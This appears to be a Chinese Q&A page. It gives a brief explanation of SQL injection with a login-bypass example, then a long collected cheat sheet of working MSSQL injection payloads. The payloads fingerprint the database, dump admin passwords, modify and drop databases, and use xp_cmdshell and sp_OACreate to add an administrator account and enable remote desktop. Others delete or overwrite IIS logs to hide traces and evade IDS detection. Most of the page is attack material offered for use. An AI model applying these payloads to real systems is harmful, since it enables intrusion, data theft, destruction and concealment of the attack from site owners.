跪求SQL手工注入语句及原理
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参考技术A 先举个例子,你要登录一个网站,上面让你输入用户名字和密码。那么,假如你输入的用户名是admin
,但是你不知道密码,你就输入了一个
1'
OR
'1'
=
'1
,那么,你就提交了两个参数给服务器。假如,服务器拿这两个参数拼SQL语句:SELECT
T.*
FROM
XXX_TABLE
TWHERE
T.USER_ID
=
'/*param1*/'AND
T.PASSWORD
=
'/*param2*/'那么,你提交的两个参数就使SQL文变成了:SELECT
T.*
FROM
XXX_TABLE
TWHERE
T.USER_ID
=
'admin'AND
T.PASSWORD
=
'1'
OR
'1'
=
'1'那么,这个SQL原来的校验功能就被你绕过去了,你的这种行为就称之为SQL注入。
手工MSSQL注入常用SQL语句
个人收集整理
and exists (select * from sysobjects) //判断是否是MSSQL
and exists(select * from tableName) //判断某表是否存在..tableName为表名
and 1=(select @@VERSION) //MSSQL版本
And 1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select IS_SRVROLEMEMBER(‘sysadmin‘)) //判断是否是系统管理员
and 1=(Select IS_MEMBER(‘db_owner‘)) //判断是否是库权限
and 1= (Select HAS_DBACCESS(‘master‘)) //判断是否有库读取权限
and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴库名DBID为1,2,3....
;declare @d int //是否支持多行
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ‘X‘ AND name = ‘xp_cmdshell‘) //判断XP_CMDSHELL是否存在
and 1=(select count(*) FROM master.dbo.sysobjects where name= ‘xp_regread‘) //查看XP_regread扩展存储过程是不是已经被删除
添加和删除一个SA权限的用户test:(需要SA权限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某个服务。 (需要SA权限)
exec master..xp_servicecontrol ‘stop‘,‘schedule‘
exec master..xp_servicecontrol ‘start‘,‘schedule‘
暴网站目录
create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE‘,‘SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots‘,‘/‘,@result output insert into labeng(lala) values(@result);
and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)
—————————————————————————————————————————————————————分割
DOS下开3389 并修改端口号
sc config termservice start= autco
net start termservice
//允许外连
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f
//该3389端口到80
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 80 /f
SQL Server
判断是否可注射:
http://www.targer.com/article.asp?id=6
http://www.targer.com/article.asp?id=6‘
http://www.targer.com/article.asp?id=6 and 1=1
http://www.targer.com/article.asp?id=6 and 1=2
http://www.targer.com/article.asp?action=value‘ and 1=1
http://www.targer.com/article.asp?action=value‘ and 1=2
searchpoints%‘ and 1=1
searchpoints%‘ and 1=2
确定数据库类型:
http://www.targer.com/article.asp?id=6 and user>0
http://www.targer.com/article.asp?id=6 and (select count(*) from sysobjects)>0
查询当前用户数据信息:
article.asp?id=6 having 1=1--
暴当前表中的列:
article.asp?id=6 group by admin.username having 1=1--
article.asp?id=6 group by admin.username,admin.password having 1=1--
暴任意表和列:
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
and (select top col_name(object_id(‘admin‘),N) from sysobjects)>1
暴数据库数据:
and (select top 1 password from admin where id=N)>1
修改数据库中的数据:
;update admin set password=‘oooooo‘ where username=‘xxx‘
增添数据库中的数据:
;insert into admin values (xxx,oooooo)--
删数据库:
;drop database webdata
获取当前数据库用户名:and user>0
获取当前数据库名:and db_name()>0
获取数据库版本:and (select @@version)>0
判断是否支持多句查询:;declare @a int--
判断是否支持子查询:and (select count(1) from [sysobjects])>=0
数据库的扩展存储过程:exec master..xp_cmdshell
查看服务器C盘目录:;exec_master..xp_cmdshell ‘dir c:\‘
判断扩展存储过程是否存在:and select count(*) from master.dbo.sysobjects where xtype=‘x‘ and name=‘xp_cmdshell‘
恢复扩展存储过程:;exec sp_addextendedproc xp_cmdshell,‘xplog70.dll‘
删除扩展存储过程:;exec sp_dropextendedproc ‘xp_cmdshell‘
在MSSQL2000中提供了一些函数用于访问OLE对象间接获取权限:
;declare @s int
;exec sp_oacreat ‘wscript.shell‘,@s
;exec master..spoamethod @s,‘run‘,null,‘cmd.exe/c dir c:\‘
判断当前数据库用户名是否拥有比较高的权限:
and 1=(select is_srvrolemember(‘sysadmin‘))
and 1=(select is_srvrolemember(‘serveradmin‘))
and 1=(select is_srvrolemember(‘setupadmin‘))
and 1=(select is_srvrolemember(‘securityadmin‘))
and 1=(select is_srvrolemember(‘diskadmin‘))
and 1=(select is_srvrolemember(‘bulkadmin‘))
判断当前数据库用户名是否为DB_OWNER:
and 1=(select is_member(‘db_owner‘))
在SQLSERVER的master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有数据库信息,只需要PUBLIC权限就可以对此表进行SELECT操作:
and (select top 1 name from master.dbo.sysdatabase order by dbid)>0
and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0
删除日志记录:
;exec master.dbo.xp_cmdshell ‘del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt‘
替换日志记录:
;exec master.dbo.xp_cmdshell ‘copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt‘
获取WEB路径:
;declare @shell int
;exec master..sp_oamethod ‘wscript.shell‘,@shell out
;exec master..sp_oamethod @shell,‘run‘,null,‘cmd.exe/c dir /s d:/index.asp >c:/log.txt
利用XP_CMDSHELL搜索:
;exec master..xp_cmdshell ‘dir /s d:/index.asp‘
显示服务器网站配置信息命令:
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root
利用XP_REGREAD可用PUBLIC权限读取:
;exec master.dbo.xp_regread
hkey_local_machine,
‘system\currentcontrolset\services\w3svc\parameters\virtual roots\‘
‘/‘
SQLSERVER下的高级技术可以参考阅读曾云好所著的精通脚本黑客第五章。
3、DSqlHelper
检测权限SYSADMIN:
and 1=(select IS_SRVROLEMEMBER(‘sysadmin‘))
serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。
检测XP_CMDSHELL(CMD命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_cmdshell‘)
检测XP_REGREAD(注册表读取功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_regread‘)
检测SP_MAKEWEBTASK(备份功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_makewebtask‘)
检测SP_ADDEXTENDEDPROC:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_addextendedproc‘)
检测XP_SUBDIRS读子目录:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_subdirs‘)
检测XP_DIRTREE读子目录:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_dirtree‘)
修改内容:
; UPDATE 表名 set 字段=内容 where 1=1
XP_CMDSHELL检测:
;exec master..xp_cmdshell ‘dir c:\‘
修复XP_CMDSHELL:
;exec master.dbo.sp_addextendedproc ‘xp_cmdshell‘, ‘xplog70.dll‘
用XP_CMDSHELL添加用户hacker:
;exec master.dbo.xp_cmdshell ‘net user hacker 123456 /add‘
XP_CMDSHELL把用户hacker加到ADMIN组:
;exec master.dbo.xp_cmdshell ‘net localgroup administrators hacker /add‘
创建表test:
;create table [dbo].[test] ([dstr][char](255));
检测表段test:
and exists (select * from test)
读取WEB的位置(读注册表):
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE‘,‘SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots‘, ‘/‘,@result output insert into test (dstr) values(@result);--
爆出WEB的绝对路径(显错模式):
and 1=(select count(*) from test where dstr > 1)
删除表test:
;drop table test;--
创建查看目录的表dirs:
;create table dirs(paths varchar(100), id int)
把查看目录的内容加入表dirs:
;insert dirs exec master.dbo.xp_dirtree ‘c:\‘
爆目录的内容dirs:
and 0<>(select top 1 paths from dirs)
备份数据库DATANAME:
declare @a sysname; set @a=db_name();backup DATANAME @a to disk=‘c:\inetpub\wwwroot\down.bak‘;--
删除表dirs:
;drop table dirs;--
创建表temp:
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
把驱动盘列表加入temp表:
;insert temp exec master.dbo.xp_availablemedia;--
删除表temp:
;delete from temp;--
创建表dirs:
;create table dirs(paths varchar(100), id int);--
获得子目录列表XP_SUBDIRS:
;insert dirs exec master.dbo.xp_subdirs ‘c:\‘;--
爆出内容(显错模式):
and 0<>(select top 1 paths from dirs)
删除表dirs:
;delete from dirs;--
创建表dirs:
;create table dirs(paths varchar(100), id int)--
用XP_CMDSHELL查看目录内容:
;insert dirs exec master..xp_cmdshell ‘dir c:\‘
删除表dirs:
;delete from dirs;--
检测SP_OAcreate(执行命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘SP_OAcreate‘)
SP_OAcreate执行CMD命令:
;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell‘,@shell OUTPUT EXEC SP_OAMETHOD @shell,‘run‘,null, ‘C:\WINNT\system32\cmd.exe /c net user hacker 123456 /add‘
SP_OAcreate建目录:
;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell‘,@shell OUTPUT EXEC SP_OAMETHOD @shell,‘run‘,null, ‘C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111‘
创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate ‘wscript.shell‘, @o out exec sp_oamethod @o, ‘run‘, NULL,‘ cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"‘
设置虚拟目录E为可读:
;declare @o int exec sp_oacreate ‘wscript.shell‘, @o out exec sp_oamethod @o, ‘run‘, NULL,‘ cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse‘
启动SERVER服务:
;exec master..xp_servicecontrol ‘start‘, ‘server‘
绕过IDS检测XP_CMDSHELL:
;declare @a sysname set @a=‘xp_‘+‘cmdshell‘ exec @a ‘dir c:\‘
开启远程数据库1:
; select * from OPENROWSET(‘SQLOLEDB‘, ‘server=servername;uid=sa;pwd=apachy_123‘, ‘select * from table1‘ )
开启远程数据库2:
;select * from OPENROWSET(‘SQLOLEDB‘, ‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;‘, ‘select * from table‘
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